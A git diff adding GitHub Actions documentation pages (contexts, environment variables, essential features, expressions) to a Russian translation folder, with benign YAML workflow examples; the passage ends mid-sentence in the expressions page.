`secrets` context + +{% data reusables.actions.github_token-input-example %} + +## `strategy` context + +For workflows with a matrix, the `strategy` context contains information about the matrix execution strategy for the current job. + +| Property name | Type | Description | +|---------------|------|-------------| +| `strategy` | `object` | This context changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. | +| `strategy.fail-fast` | `boolean` | When `true`, all in-progress jobs are canceled if any job in a matrix fails. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast)." | +| `strategy.job-index` | `number` | The index of the current job in the matrix. **Note:** This number is a zero-based number. The first job's index in the matrix is `0`. | +| `strategy.job-total` | `number` | The total number of jobs in the matrix. **Note:** This number **is not** a zero-based number. For example, for a matrix with four jobs, the value of `job-total` is `4`. | +| `strategy.max-parallel` | `number` | The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel)." | + +### Example contents of the `strategy` context + +The following example contents of the `strategy` context is from a matrix with four jobs, and is taken from the final job. Note the difference between the zero-based `job-index` number, and `job-total` which is not zero-based. + +```json +{ + "fail-fast": true, + "job-index": 3, + "job-total": 4, + "max-parallel": 4 +} +``` + +### Example usage of the `strategy` context + +This example workflow uses the `strategy.job-index` property to set a unique name for a log file for each job in a matrix. + +```yaml{:copy} +name: Test matrix +on: push + +jobs: + test: + runs-on: ubuntu-latest + strategy: + matrix: + test-group: [1, 2] + node: [14, 16] + steps: + - uses: {% data reusables.actions.action-checkout %} + - run: npm test > test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt + - name: Upload logs + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: Build log for job {% raw %}${{ strategy.job-index }}{% endraw %} + path: test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt +``` + +## `matrix` context + +For workflows with a matrix, the `matrix` context contains the matrix properties defined in the workflow file that apply to the current job. For example, if you configure a matrix with the `os` and `node` keys, the `matrix` context object includes the `os` and `node` properties with the values that are being used for the current job. + +There are no standard properties in the `matrix` context, only those which are defined in the workflow file. + +| Property name | Type | Description | +|---------------|------|-------------| +| `matrix` | `object` | This context is only available for jobs in a matrix, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains the properties listed below. | +| `matrix.` | `string` | The value of a matrix property. | + +### Example contents of the `matrix` context + +The following example contents of the `matrix` context is from a job in a matrix that has the `os` and `node` matrix properties defined in the workflow. The job is executing the matrix combination of an `ubuntu-latest` OS and Node.js version `16`. + +```json +{ + "os": "ubuntu-latest", + "node": 16 +} +``` + +### Example usage of the `matrix` context + +This example workflow creates a matrix with `os` and `node` keys. It uses the `matrix.os` property to set the runner type for each job, and uses the `matrix.node` property to set the Node.js version for each job. + +```yaml{:copy} +name: Test matrix +on: push + +jobs: + build: + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + strategy: + matrix: + os: [ubuntu-latest, windows-latest] + node: [14, 16] + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node }}{% endraw %} + - name: Install dependencies + run: npm ci + - name: Run tests + run: npm test +``` + +## `needs` context + +The `needs` context contains outputs from all jobs that are defined as a direct dependency of the current job. Note that this doesn't include implicitly dependent jobs (for example, dependent jobs of a dependent job). For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)." + +| Property name | Type | Description | +|---------------|------|-------------| +| `needs` | `object` | This context is only populated for workflow runs that have dependent jobs, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. | +| `needs.` | `object` | A single job that the current job depends on. | +| `needs..outputs` | `object` | The set of outputs of a job that the current job depends on. | +| `needs..outputs.` | `string` | The value of a specific output for a job that the current job depends on. | +| `needs..result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. | + +### Example contents of the `needs` context + +The following example contents of the `needs` context shows information for two jobs that the current job depends on. + +```json +{ + "build": { + "result": "success", + "outputs": { + "build_id": "ABC123" + } + }, + "deploy": { + "result": "failure", + "outputs": {} + } +} +``` + +### Example usage of the `needs` context + +This example workflow has three jobs: a `build` job that does a build, a `deploy` job that requires the `build` job, and a `debug` job that requires both the `build` and `deploy` jobs and runs only if there is a failure in the workflow. The `deploy` job also uses the `needs` context to access an output from the `build` job. + +```yaml{:copy} +name: Build and deploy +on: push + +jobs: + build: + runs-on: ubuntu-latest + outputs: + build_id: {% raw %}${{ steps.build_step.outputs.build_id }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Build + id: build_step + run: | + ./build +{%- ifversion actions-save-state-set-output-envs %} + echo "build_id=$BUILD_ID" >> $GITHUB_OUTPUT +{%- else %} + echo "::set-output name=build_id::$BUILD_ID" +{%- endif %} + deploy: + needs: build + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - run: ./deploy --build {% raw %}${{ needs.build.outputs.build_id }}{% endraw %} + debug: + needs: [build, deploy] + runs-on: ubuntu-latest + if: {% raw %}${{ failure() }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} + - run: ./debug +``` + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +## `inputs` context + +The `inputs` context contains input properties passed to an action{% ifversion actions-unified-inputs %},{% else %} or{% endif %} to a reusable workflow{% ifversion actions-unified-inputs %}, or to a manually triggered workflow{% endif %}. {% ifversion actions-unified-inputs %}For reusable workflows, the{% else %}The{% endif %} input names and types are defined in the [`workflow_call` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events) of a reusable workflow, and the input values are passed from [`jobs..with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) in an external workflow that calls the reusable workflow. {% ifversion actions-unified-inputs %}For manually triggered workflows, the inputs are defined in the [`workflow_dispatch` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch) of a workflow.{% endif %} + +There are no standard properties in the `inputs` context, only those which are defined in the workflow file. + +{% data reusables.actions.reusable-workflows-ghes-beta %} + +| Property name | Type | Description | +|---------------|------|-------------| +| `inputs` | `object` | This context is only available in a [reusable workflow](/actions/learn-github-actions/reusing-workflows){% ifversion actions-unified-inputs %} or in a workflow triggered by the [`workflow_dispatch` event](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch){% endif %}. You can access this context from any job or step in a workflow. This object contains the properties listed below. | +| `inputs.` | `string` or `number` or `boolean` | Each input value passed from an external workflow. | + +### Example contents of the `inputs` context + +The following example contents of the `inputs` context is from a workflow that has defined the `build_id`, `deploy_target`, and `perform_deploy` inputs. + +```json +{ + "build_id": 123456768, + "deploy_target": "deployment_sys_1a", + "perform_deploy": true +} +``` + +### Example usage of the `inputs` context in a reusable workflow + +This example reusable workflow uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the reusable workflow from the caller workflow. + +{% raw %} +```yaml{:copy} +name: Reusable deploy workflow +on: + workflow_call: + inputs: + build_id: + required: true + type: number + deploy_target: + required: true + type: string + perform_deploy: + required: true + type: boolean + +jobs: + deploy: + runs-on: ubuntu-latest + if: ${{ inputs.perform_deploy }} + steps: + - name: Deploy build to target + run: deploy --build ${{ inputs.build_id }} --target ${{ inputs.deploy_target }} +``` +{% endraw %} + +{% ifversion actions-unified-inputs %} +### Example usage of the `inputs` context in a manually triggered workflow + +This example workflow triggered by a `workflow_dispatch` event uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the workflow. + +{% raw %} +```yaml{:copy} +on: + workflow_dispatch: + inputs: + build_id: + required: true + type: string + deploy_target: + required: true + type: string + perform_deploy: + required: true + type: boolean + +jobs: + deploy: + runs-on: ubuntu-latest + if: ${{ inputs.perform_deploy }} + steps: + - name: Deploy build to target + run: deploy --build ${{ inputs.build_id }} --target ${{ inputs.deploy_target }} +``` +{% endraw %} +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/actions/learn-github-actions/environment-variables.md b/translations/ru-RU/content/actions/learn-github-actions/environment-variables.md new file mode 100644 index 000000000000..60f517beb66b --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/environment-variables.md @@ -0,0 +1,209 @@ +--- +title: Environment variables +intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/using-environment-variables + - /actions/automating-your-workflow-with-github-actions/using-environment-variables + - /actions/configuring-and-managing-workflows/using-environment-variables + - /actions/reference/environment-variables +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About environment variables + +You can use environment variables to store information that you want to reference in your workflow. You reference environment variables within a workflow step or an action, and the variables are interpolated on the runner machine that runs your workflow. Commands that run in actions or workflow steps can create, read, and modify environment variables. + +You can set your own custom environment variables, you can use the default environment variables that {% data variables.product.prodname_dotcom %} sets automatically, and you can also use any other environment variables that are set in the working environment on the runner. Environment variables are case-sensitive. + +To set a custom environment variable, you must define it in the workflow file. The scope of a custom environment variable is limited to the element in which it is defined. You can define environment variables that are scoped for: + +* The entire workflow, by using [`env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) at the top level of the workflow file. +* The contents of a job within a workflow, by using [`jobs..env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenv). +* A specific step within a job, by using [`jobs..steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv). + +{% raw %} +```yaml +name: Greeting on variable day + +on: + workflow_dispatch + +env: + DAY_OF_WEEK: Monday + +jobs: + greeting_job: + runs-on: ubuntu-latest + env: + Greeting: Hello + steps: + - name: "Say Hello Mona it's Monday" + run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!" + env: + First_Name: Mona +``` +{% endraw %} + +The example above shows three custom environment variables being used in an `echo` command: `$DAY_OF_WEEK`, `$Greeting`, and `$First_Name`. The values for these environment variables are set, and scoped, at the workflow, job, and step level respectively. + +Because environment variable interpolation is done after a workflow job is sent to a runner machine, you must use the appropriate syntax for the shell that's used on the runner. In this example, the workflow specifies `ubuntu-latest`. By default, Linux runners use the bash shell, so you must use the syntax `$NAME`. If the workflow specified a Windows runner, you would use the syntax for PowerShell, `$env:NAME`. For more information about shells, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsshell)." + +{% note %} + +**Note**: You can list the entire set of environment variables that are available to a workflow step by using `run: env` in a step and then examining the output for the step. + +{% endnote %} + +## Using contexts to access environment variable values + +In addition to environment variables, {% data variables.product.prodname_actions %} also allows you to set and read values using contexts. Environment variables and contexts are intended for use at different points in the workflow. + +Environment variables are always interpolated on the virtual machine runner. However, parts of a workflow are processed by {% data variables.product.prodname_actions %} and are not sent to the runner. You cannot use environment variables in these parts of a workflow file. Instead, you can use contexts. For example, an `if` conditional, which determines whether a job or step is sent to the runner, is always processed by {% data variables.product.prodname_actions %}. You can use a context in an `if` conditional statement to access the value of an environment variable. + +{% raw %} +```yaml +env: + DAY_OF_WEEK: Monday + +jobs: + greeting_job: + runs-on: ubuntu-latest + env: + Greeting: Hello + steps: + - name: "Say Hello Mona it's Monday" + if: ${{ env.DAY_OF_WEEK == 'Monday' }} + run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!" + env: + First_Name: Mona +``` +{% endraw %} + +In this modification of the first example, we've introduced an `if` conditional. The workflow step is now only run if `DAYS_OF_WEEK` is set to "Monday". We access this value from the `if` conditional statement by using the [`env` context](/actions/learn-github-actions/contexts#env-context). + +{% note %} + +**Note**: Contexts are usually denoted using the dollar sign and curly braces, as {% raw %}`${{ context.property }}`{% endraw %}. In an `if` conditional, the {% raw %}`${{` and `}}`{% endraw %} are optional, but if you use them they must enclose the entire comparison statement, as shown above. + +{% endnote %} + +You will commonly use either the `env` or `github` context to access environment variable values in parts of the workflow that are processed before jobs are sent to runners. + + +| Context | Use case | Example | +| --- | --- | --- | +| `env` | Reference custom environment variables defined in the workflow. | {% raw %}`${{ env.MY_VARIABLE }}`{% endraw %} | +| `github` | Reference information about the workflow run and the event that triggered the run. | {% raw %}`${{ github.repository }}`{% endraw %} | + + + +There are many other contexts that you can use for a variety of purposes in your workflows. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." For details of where you can use specific contexts within a workflow, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)." + +### Other types of variables + +In most places in a workflow, the only types of variables that you can use are either environment variables, such as `$MY_VARIABLE`, or the equivalent context property, such as {% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}. Exceptions are: + +* Inputs for the `workflow_call` and `workflow_dispatch` events, which allow you to pass values to a workflow. For more information, see [`on.workflow_call.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_dispatch.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_dispatchinputs). +* Job outputs, which allow you to pass values between jobs in a workflow. For more information, see [`jobs..outputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs). +* The variables in a format expression, which allow you to replace parts of a string. For more information, see [`format`](/actions/learn-github-actions/expressions#format). + +## Naming conventions for environment variables + +When you set a custom environment variable, you cannot use any of the default environment variable names. For a complete list of these, see "[Default environment variables](#default-environment-variables)" below. If you attempt to override the value of one of these default environment variables, the assignment is ignored. + +Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `GITHUB_ENV` and `GITHUB_WORKSPACE` default environment variables are exceptions to this convention. + +## Default environment variables + +The default environment variables that {% data variables.product.prodname_dotcom %} sets are available to every step in a workflow. + +We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments. + +| Environment variable | Description | +| ---------------------|------------ | +| `CI` | Always set to `true`. | +| `GITHUB_ACTION` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. For example, for an action, `__repo-owner_name-of-action-repo`.

{% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same script or action more than once in the same job, the name will include a suffix that consists of the sequence number preceded by an underscore. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. | +| `GITHUB_ACTION_PATH` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. For example, `/home/runner/work/_actions/repo-owner/name-of-action-repo/v1`. | +| `GITHUB_ACTION_REPOSITORY` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. | +| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}. +| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. | +| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`. +| `GITHUB_BASE_REF` | The name of the base ref or target branch of the pull request in a workflow run. This is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `main`. | +| `GITHUB_ENV` | The path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/set_env_87406d6e-4979-4d42-98e1-3dab1f48b13a`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable)." | +| `GITHUB_EVENT_NAME` | The name of the event that triggered the workflow. For example, `workflow_dispatch`. | +| `GITHUB_EVENT_PATH` | The path to the file on the runner that contains the full event webhook payload. For example, `/github/workflow/event.json`. | +| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`. +| `GITHUB_HEAD_REF` | The head ref or source branch of the pull request in a workflow run. This property is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `feature-branch-1`. | +| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. For example, `greeting_job`. | +| `GITHUB_PATH` | The path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/add_path_899b9445-ad4a-400c-aa89-249f18632cf5`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path)." | +| `GITHUB_REF` | {% data reusables.actions.ref-description %} | +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | +| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | +| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} | +{%- endif %} +| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. | +| `GITHUB_REPOSITORY_OWNER` | The repository owner's name. For example, `octocat`. | +| `GITHUB_RETENTION_DAYS` | The number of days that workflow run logs and artifacts are kept. For example, `90`. | +| `GITHUB_RUN_ATTEMPT` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. For example, `3`. | +| `GITHUB_RUN_ID` | {% data reusables.actions.run_id_description %} For example, `1658821493`. | +| `GITHUB_RUN_NUMBER` | {% data reusables.actions.run_number_description %} For example, `3`. | +| `GITHUB_SERVER_URL`| The URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`. +| `GITHUB_SHA` | {% data reusables.actions.github_sha_description %} | +{%- ifversion actions-job-summaries %} +| `GITHUB_STEP_SUMMARY` | The path on the runner to the file that contains job summaries from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/rob/runner/_layout/_work/_temp/_runner_file_commands/step_summary_1cb22d7f-5663-41a8-9ffc-13472605c76c`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)." | +{%- endif %} +| `GITHUB_WORKFLOW` | The name of the workflow. For example, `My test workflow`. If the workflow file doesn't specify a `name`, the value of this variable is the full path of the workflow file in the repository. | +| `GITHUB_WORKSPACE` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. For example, `/home/runner/work/my-repo-name/my-repo-name`. | +{%- ifversion actions-runner-arch-envvars %} +| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %} +{%- endif %} | +| `RUNNER_DEBUG` | {% data reusables.actions.runner-debug-description %} | +| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} For example, `Hosted Agent` | +| `RUNNER_OS` | {% data reusables.actions.runner-os-description %} For example, `Windows` | +| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %} For example, `D:\a\_temp` | +{% ifversion not ghae %}| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %} For example, `C:\hostedtoolcache\windows` |{% endif %} + +{% note %} + +**Note:** + +* If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID` +* Most of the default environment variables have a corresponding, and similarly named, context property. For example, the value of the `GITHUB_REF` environment variable can be read during workflow processing using the {% raw %}`${{ github.ref }}`{% endraw %} context property. + +{% endnote %} + +## Detecting the operating system + +You can write a single workflow file that can be used for different operating systems by using the `RUNNER_OS` default environment variable and the corresponding context property {% raw %}`${{ runner.os }}`{% endraw %}. For example, the following workflow could be run successfully if you changed the operating system from `macos-latest` to `windows-latest` without having to alter the syntax of the environment variables, which differs depending on the shell being used by the runner. + +{% raw %} +```yaml +jobs: + if-Windows-else: + runs-on: macos-latest + steps: + - name: condition 1 + if: runner.os == 'Windows' + run: echo "The operating system on the runner is $env:RUNNER_OS." + - name: condition 2 + if: runner.os != 'Windows' + run: echo "The operating system on the runner is not Windows, it's $RUNNER_OS." +``` +{% endraw %} + +In this example, the two `if` statements check the `os` property of the `runner` context to determine the operating system of the runner. `if` conditionals are processed by {% data variables.product.prodname_actions %}, and only steps where the check resolves as `true` are sent to the runner. Here one of the checks will always be `true` and the other `false`, so only one of these steps is sent to the runner. Once the job is sent to the runner, the step is executed and the environment variable in the `echo` command is interpolated using the appropriate syntax (`$env:NAME` for PowerShell on Windows, and `$NAME` for bash and sh on Linux and MacOS). In this example, the statement `runs-on: macos-latest` means that the second step will be run. + +## Passing values between steps and jobs in a workflow + + If you generate a value in one step of a job, you can use the value in subsequent steps of the same job by assigning the value to an existing or new environment variable and then writing this to the `GITHUB_ENV` environment file. The environment file can be used directly by an action, or from a shell command in the workflow file by using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)." + + If you want to pass a value from a step in one job in a workflow to a step in another job in the workflow, you can define the value as a job output. You can then reference this job output from a step in another job. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)." + diff --git a/translations/ru-RU/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/ru-RU/content/actions/learn-github-actions/essential-features-of-github-actions.md new file mode 100644 index 000000000000..9a32c9439c13 --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/essential-features-of-github-actions.md @@ -0,0 +1,102 @@ +--- +title: Essential features of GitHub Actions +shortTitle: Essential features +intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Fundamentals +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs. + +## Using variables in your workflows + +{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script. + +```yaml +jobs: + example-job: + steps: + - name: Connect to PostgreSQL + run: node client.js + env: + POSTGRES_HOST: postgres + POSTGRES_PORT: 5432 +``` + +For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)." + +## Adding scripts to your workflow + +You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner. + +```yaml +jobs: + example-job: + steps: + - run: npm install -g bats +``` + +For example, to run a script as an action, you can store the script in your repository and supply the path and shell type. + +```yaml +jobs: + example-job: + steps: + - name: Run build script + run: ./.github/scripts/build.sh + shell: bash +``` + +For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." + +## Sharing data between jobs + +If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %} + +For example, you can create a file and then upload it as an artifact. + +```yaml +jobs: + example-job: + name: Save output + steps: + - shell: bash + run: | + expr 1 + 1 > output.log + - name: Upload output file + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: output-log-file + path: output.log +``` + +To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`. + +```yaml +jobs: + example-job: + steps: + - name: Download a single artifact + uses: {% data reusables.actions.action-download-artifact %} + with: + name: output-log-file +``` + +To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes. + +For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)." + +## Next steps + +To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)." diff --git a/translations/ru-RU/content/actions/learn-github-actions/expressions.md b/translations/ru-RU/content/actions/learn-github-actions/expressions.md new file mode 100644 index 000000000000..0bf64804d30a --- /dev/null +++ b/translations/ru-RU/content/actions/learn-github-actions/expressions.md @@ -0,0 +1,405 @@ +--- +title: Expressions +shortTitle: Expressions +intro: You can evaluate expressions in workflows and actions. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About expressions + +You can use expressions to programmatically set environment variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." + +Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. + +You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. + +{% raw %} +`${{ }}` +{% endraw %} + +{% data reusables.actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." + +{% data reusables.actions.context-injection-warning %} + +#### Example expression in an `if` conditional + +```yaml +steps: + - uses: actions/hello-world-javascript-action@v1.1 + if: {% raw %}${{ }}{% endraw %} +``` + +#### Example setting an environment variable + +{% raw %} +```yaml +env: + MY_ENV_VAR: ${{ }} +``` +{% endraw %} + +## Literals + +As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. + +| Data type | Literal value | +|-----------|---------------| +| `boolean` | `true` or `false` | +| `null` | `null` | +| `number` | Any number format supported by JSON. | +| `string` | You don't need to enclose strings in `{% raw %}${{{% endraw %}` and `{% raw %}}}{% endraw %}`. However, if you do, you must use single quotes (`'`) around the string. To use a literal single quote, escape the literal single quote using an additional single quote (`''`). Wrapping with double quotes (`"`) will throw an error. | + +#### Example + +{% raw %} + +```yaml +env: + myNull: ${{ null }} + myBoolean: ${{ false }} + myIntegerNumber: ${{ 711 }} + myFloatNumber: ${{ -9.2 }} + myHexNumber: ${{ 0xff }} + myExponentialNumber: ${{ -2.99e-2 }} + myString: Mona the Octocat + myStringInBraces: ${{ 'It''s open source!' }} +``` + +{% endraw %} + +## Operators + +| Operator | Description | +| --- | --- | +| `( )` | Logical grouping | +| `[ ]` | Index +| `.` | Property de-reference | +| `!` | Not | +| `<` | Less than | +| `<=` | Less than or equal | +| `>` | Greater than | +| `>=` | Greater than or equal | +| `==` | Equal | +| `!=` | Not equal | +| `&&` | And | +| \|\| | Or | + +{% data variables.product.prodname_dotcom %} performs loose equality comparisons. + +* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: + + | Type | Result | + | --- | --- | + | Null | `0` | + | Boolean | `true` returns `1`
`false` returns `0` | + | String | Parsed from any legal JSON number format, otherwise `NaN`.
Note: empty string returns `0`. | + | Array | `NaN` | + | Object | `NaN` | +* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." +* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. +* Objects and arrays are only considered equal when they are the same instance. + +## Functions + +{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: + +| Type | Result | +| --- | --- | +| Null | `''` | +| Boolean | `'true'` or `'false'` | +| Number | Decimal format, exponential for large numbers | +| Array | Arrays are not converted to a string | +| Object | Objects are not converted to a string | + +### contains + +`contains( search, item )` + +Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. + +#### Example using a string + +`contains('Hello world', 'llo')` returns `true`. + +#### Example using an object filter + +`contains(github.event.issue.labels.*.name, 'bug')` returns `true` if the issue related to the event has a label "bug". + +For more information, see "[Object filters](#object-filters)." + +#### Example matching an array of strings + +Instead of writing `github.event_name == "push" || github.event_name == "pull_request"`, you can use `contains()` with `fromJson()` to check if an array of strings contains an `item`. + +For example, `contains(fromJson('["push", "pull_request"]'), github.event_name)` returns `true` if `github.event_name` is "push" or "pull_request". + +### startsWith + +`startsWith( searchString, searchValue )` + +Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. + +#### Example + +`startsWith('Hello world', 'He')` returns `true`. + +### endsWith + +`endsWith( searchString, searchValue )` + +Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. + +#### Example + +`endsWith('Hello world', 'ld')` returns `true`. + +### format + +`format( string, replaceValue0, replaceValue1, ..., replaceValueN)` + +Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You 